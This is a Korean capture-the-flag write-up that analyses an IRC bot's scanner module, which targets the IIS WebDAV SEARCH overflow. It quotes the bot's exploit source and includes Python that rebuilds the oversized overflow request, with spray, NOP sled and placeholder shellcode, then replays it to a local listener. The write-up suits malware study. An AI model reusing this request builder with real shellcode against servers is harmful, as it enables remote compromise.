[🥈 Silver 4] 65,536은 우연이 아니었다 — DreamHack [CodeEngn] Malware L02 풀이

# show_desc.sh
#!/bin/sh
# 드림핵 API 에서 이 문제의 제목·분류·설명만 뽑아 본다
python3 ~/Dev/Hacking_Project/_도구/dreamhack_auto/fetch_desc.py 369 | python3 -c '
import sys, json
d = json.load(sys.stdin)
print("제목    :", d["title"].strip())
print("분류    :", ", ".join(d["tags"]))
print("푼 사람 :", d["cnt_solvers"], "명")
print("배포파일:", ", ".join(f["name"] for f in d.get("files", [])) or "(응답에 없음)")
print()
print("[문제 설명]")
print(d["description"].strip())
'

./show_desc.sh

file extracted/24FFA091.cpp && wc -lc extracted/24FFA091.cpp && sha256sum extracted/24FFA091.cpp

cat -n extracted/24FFA091.cpp | sed -n 1,22p

char body[]=
	"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n"
	"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n"
	"</g:searchrequest>\r\n";

if(ScanPort(sHost.CStr(), 80))
{	g_cMainCtrl.m_cIRC.SendFormat(..., "%s: scanning ip %s:80.", ...);
	bSuccess=Exploit(sHost); }

grep -n -E "DAV:|searchrequest|g:sql|SEARCH /" extracted/24FFA091.cpp

grep -n -E "g_cMainCtrl|m_cIRC|bot_ftrans_port|CScanner|ScanPort|setup_shellcode" extracted/24FFA091.cpp

if(IsPrivate(g_cMainCtrl.m_cIRC.m_sLocalIp.CStr()) && !IsPrivate(sHost.CStr()))
	iShellSize=setup_shellcode(..., inet_addr(g_cMainCtrl.m_cIRC.m_sLocalHost.CStr()), ...);
else
	iShellSize=setup_shellcode(..., g_cMainCtrl.m_cIRC.m_lLocalAddr, ...);

cat -n extracted/24FFA091.cpp | sed -n 39,56p

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
[CodeEngn] Malware L02 — 24FFA091.cpp 의 Exploit() 가 실제로 만들어 내는 바이트열을 그대로 재구성한다.
 
C++ 원본을 한 줄씩 그대로 옮겼다. 외부 심볼(jumpcode / Malware_L02_shellcode)은 이 발췌에 없으므로
길이만 파라미터로 두고 자리표시 바이트를 채운다 — 그 자리는 출력에서 '외부심볼'로 표시한다.
"""
import sys
 
# ── 원본의 body[] 상수 (24FFA091.cpp 1~4행) 를 그대로 옮긴 것 ────────────
BODY = (
    b'<?xml version="1.0"?>\r\n<g:searchrequest xmlns:g="DAV:">\r\n'
    b'<g:sql>\r\nSelect "DAV:displayname" from scope()\r\n'
    b'</g:sql>\r\n'
    b'</g:searchrequest>\r\n'
)
 
RET = 0xB102          # unsigned short ret=0xB102;
NOP_SIZE = 100        # iNOPSize=100
HOST = "192.0.2.10"   # sHost — 문서용 예약대역(RFC 5737)
 
# 이 발췌에 없는 외부 심볼. 길이만 가정하고 자리표시로 채운다.
JUMPCODE_LEN = 8      # strlen(jumpcode)
SHELLCODE_LEN = 344   # iShellSize = setup_shellcode(...) 의 반환값
JUMPCODE = b"\xE9" + b"\xCC" * (JUMPCODE_LEN - 1)
SHELLCODE = b"\xCC" * SHELLCODE_LEN
 
 
def build():
    buf = bytearray(100000)                       # malloc(100000) + memset(...,0,100000)
 
    # strcpy(szReqBuf, "SEARCH /");
    buf[0:8] = b"SEARCH /"
    i = 8                                          # i = strlen(szReqBuf)
 
    # szReqBuf[i]='\x90';
    buf[i] = 0x90
 
    # for(j=i+1; j<i+2150; j+=2) memcpy(szReqBuf+j, &ret, 2);
    ret_le = RET.to_bytes(2, "little")             # 0xB102 → 02 B1
    j = i + 1
    spray_start, spray_n = j, 0
    while j < i + 2150:
        buf[j:j + 2] = ret_le
        spray_n += 1
        j += 2
    spray_end = j                                  # 마지막 2바이트 쓰기가 끝난 다음 위치
 
    # for(;j<i+65535-strlen(jumpcode);j++) szReqBuf[j]='\x90';
    sled_start = j
    while j < i + 65535 - len(JUMPCODE):
        buf[j] = 0x90
        j += 1
    sled_end = j
 
    # memcpy(szReqBuf+j, jumpcode, strlen(jumpcode));
    buf[j:j + len(JUMPCODE)] = JUMPCODE
    uri_total = j + len(JUMPCODE)                  # 요청라인의 URI 끝
 
    def slen():                                    # strcat/sprintf 가 쓰는 strlen — 첫 NUL 까지
        return buf.index(0)
 
    # strcat(szReqBuf, " HTTP/1.1\r\n");
    p = slen(); tail = b" HTTP/1.1\r\n"; buf[p:p + len(tail)] = tail
 
    # sprintf(szReqBuf+strlen(szReqBuf), "Host: %s\r\n...Content-Length: %d\r\n\r\n", ...)
    declared = len(BODY) + len(SHELLCODE)          # strlen(body)+iShellSize
    hdr = ("Host: %s\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n"
           % (HOST, declared)).encode()
    p = slen(); buf[p:p + len(hdr)] = hdr
 
    # strcat(szReqBuf, body);
    p = slen(); buf[p:p + len(BODY)] = BODY
 
    # memset(szReqBuf+strlen(szReqBuf), 0x01, 1);
    p = slen(); buf[p] = 0x01
    # memset(szReqBuf+strlen(szReqBuf), 0x90, 3);
    p = slen(); buf[p:p + 3] = b"\x90" * 3
    # memcpy(szReqBuf+strlen(szReqBuf), szSCBuf, iSCSize);   szSCBuf = NOP*100 + shellcode
    sc = b"\x90" * NOP_SIZE + SHELLCODE
    p = slen(); sc_at = p; buf[p:p + len(sc)] = sc
 
    # iReqSize=strlen(szReqBuf);
    req_size = slen()
    req = bytes(buf[:req_size])
 
    return req, dict(uri_total=uri_total, spray_start=spray_start, spray_n=spray_n,
                     spray_end=spray_end, sled_start=sled_start, sled_end=sled_end,
                     declared=declared, sc_at=sc_at, sc_len=len(sc), req_size=req_size)
 
 
def main():
    req, m = build()
    uri = req[7:m["uri_total"]]                    # '/' 부터 URI 끝까지
 
    print("[구조] 24FFA091.cpp Exploit() 가 소켓으로 내보내는 바이트")
    print("  요청 메서드            : %s" % req[:8].decode())
    print("  URI 길이               : %d 바이트 (0x%X)  <-- '/' 포함" % (len(uri), len(uri)))
    print("  ret 스프레이           : off %d..%d, 0x%04X('%s') x %d회"
          % (m["spray_start"], m["spray_end"] - 1, RET,
             RET.to_bytes(2, "little").hex(" "), m["spray_n"]))
    print("  NOP 슬레드             : off %d..%d (0x90 x %d)"
          % (m["sled_start"], m["sled_end"] - 1, m["sled_end"] - m["sled_start"]))
    print("  jumpcode               : off %d..%d (%d바이트, 외부심볼)"
          % (m["sled_end"], m["uri_total"] - 1, len(JUMPCODE)))
    print("  선언한 Content-Length  : %d  (= strlen(body) %d + iShellSize %d)"
          % (m["declared"], len(BODY), len(SHELLCODE)))
    print("  실제 본문 길이         : %d  (선언보다 %d 많다: 0x01 1 + NOP 3 + NOP슬레드 %d)"
          % (m["req_size"] - req.index(b"\r\n\r\n") - 4,
             (m["req_size"] - req.index(b"\r\n\r\n") - 4) - m["declared"], NOP_SIZE))
    print("  쉘코드 시작            : off %d (NOP %d + shellcode %d, 외부심볼)"
          % (m["sc_at"], NOP_SIZE, len(SHELLCODE)))
    print("  전체 요청 크기         : %d 바이트" % m["req_size"])
    print()
    print("[64KB 경계] URI 를 ANSI→UTF-16 로 넓히면")
    print("  %d 바이트 x 2 = %d 바이트 > 0xFFFF(%d)"
          % (len(uri), len(uri) * 2, 0xFFFF))
    print("  스프레이 2바이트 '02 b1' 의 와이드 이미지 = '02 00 b1 00' → DWORD 0x00B10002")
    print()
    print("[본문 XML]")
    for line in BODY.decode().replace("\r\n", "\n").rstrip("\n").split("\n"):
        print("  " + line)
 
    with open("request.bin", "wb") as f:
        f.write(req)
    print()
    print("[저장] request.bin (%d 바이트)" % len(req))
 
 
if __name__ == "__main__":
    sys.exit(main())

python3 build_request.py

xxd -l 96 request.bin

xxd -s 65520 -l 288 request.bin

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
build_request.py 가 만든 request.bin 을 실제 TCP 소켓으로 흘려 보내고,
받는 쪽에서 무엇이 도착했는지 뜯어 본다.
 
취약한 IIS 5.0 을 켜 놓고 하는 게 아니다. 목적은 하나 — 재구성한 바이트열이
진짜 HTTP 요청으로 성립하는지, 그리고 요청 라인이 정말 WebDAV SEARCH + 64KB URI 인지
소켓 위에서 확인하는 것이다.
"""
import socket
import threading
 
HOST, PORT = "127.0.0.1", 8080
received = {}
 
 
def server():
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind((HOST, PORT))
    srv.listen(1)
    conn, addr = srv.accept()
    chunks = []
    conn.settimeout(2.0)
    try:
        while True:
            b = conn.recv(65536)
            if not b:
                break
            chunks.append(b)
    except socket.timeout:
        pass
    received["peer"] = addr
    received["data"] = b"".join(chunks)
    conn.close()
    srv.close()
 
 
t = threading.Thread(target=server)
t.start()
 
payload = open("request.bin", "rb").read()
cli = socket.create_connection((HOST, PORT))
cli.sendall(payload)
cli.close()
t.join()
 
data = received["data"]
head, _, body = data.partition(b"\r\n\r\n")
reqline, _, hdrs = head.partition(b"\r\n")
method, _, rest = reqline.partition(b" ")
uri, _, ver = rest.rpartition(b" ")
 
print("[수신] %s:%d 에서 %d 바이트" % (received["peer"][0], received["peer"][1], len(data)))
print("[요청라인] method=%s  version=%s" % (method.decode(), ver.decode()))
print("[요청라인] URI 길이 = %d 바이트 (0x%X)" % (len(uri), len(uri)))
print("[요청라인] URI 앞 12바이트 = %s" % uri[:12].hex(" "))
print("[요청라인] URI 뒤 12바이트 = %s" % uri[-12:].hex(" "))
print("[요청라인] URI 바이트 분포 = %s"
      % ", ".join("%02x:%d" % (b, uri.count(b)) for b in sorted(set(uri))[:6]))
print()
print("[헤더]")
for h in hdrs.split(b"\r\n"):
    print("  " + h.decode())
print()
print("[본문] 선언 Content-Length=%s / 실제 수신 본문=%d 바이트"
      % (dict(h.split(b": ", 1) for h in hdrs.split(b"\r\n"))[b"Content-Length"].decode(), len(body)))
print("[본문] XML 부분:")
xml_end = body.find(b"</g:searchrequest>\r\n") + len(b"</g:searchrequest>\r\n")
for line in body[:xml_end].decode().replace("\r\n", "\n").rstrip("\n").split("\n"):
    print("    " + line)
print("[본문] XML 뒤에 붙은 %d 바이트 = %s ..." % (len(body) - xml_end, body[xml_end:xml_end + 8].hex(" ")))
print("[판정] WebDAV SEARCH 요청 — DAV: 네임스페이스 본문 + URI %d(0x%X)바이트"
      % (len(uri), len(uri)))

python3 replay_local.py

webdav

#!/bin/sh
# [CodeEngn] Malware L02 (DreamHack #369, Silver 4, misc) — 한 방 재현.
# 배포 소스 한 조각만 가지고 "무엇을 공격하는가" 를 바이트로 확정한다.
#
#   사용법:  ./reproduce.sh
#   결과  :  정답 문자열 webdav 를 근거와 함께 출력한다.
set -e
cd "$(dirname "$0")"
 
echo "=== 1. 배포 파일 ==="
file extracted/24FFA091.cpp
wc -lc extracted/24FFA091.cpp
sha256sum extracted/24FFA091.cpp
 
echo
echo "=== 2. WebDAV 지문 — body[] 상수와 요청 메서드 ==="
grep -n -E "DAV:|searchrequest|g:sql|SEARCH /" extracted/24FFA091.cpp
 
echo
echo "=== 3. IRC 봇 지문 — 이 파일은 봇의 스캐너 모듈이다 ==="
grep -n -E "g_cMainCtrl|m_cIRC|bot_ftrans_port|CScanner|ScanPort|setup_shellcode" extracted/24FFA091.cpp
 
echo
echo "=== 4. Exploit() 이 내보내는 바이트를 그대로 재구성 ==="
python3 build_request.py
 
echo
echo "=== 5. 요청 앞머리 (SEARCH / + 0x90 + ret 스프레이) ==="
xxd -l 96 request.bin
 
echo
echo "=== 6. URI 가 끝나는 자리 — 오프셋 0x10000 경계 ==="
xxd -s 65520 -l 288 request.bin
 
echo
echo "=== 7. 소켓으로 실제로 흘려 보고 받는 쪽에서 확인 ==="
python3 replay_local.py
 
echo
echo "=== 정답 ==="
echo "webdav"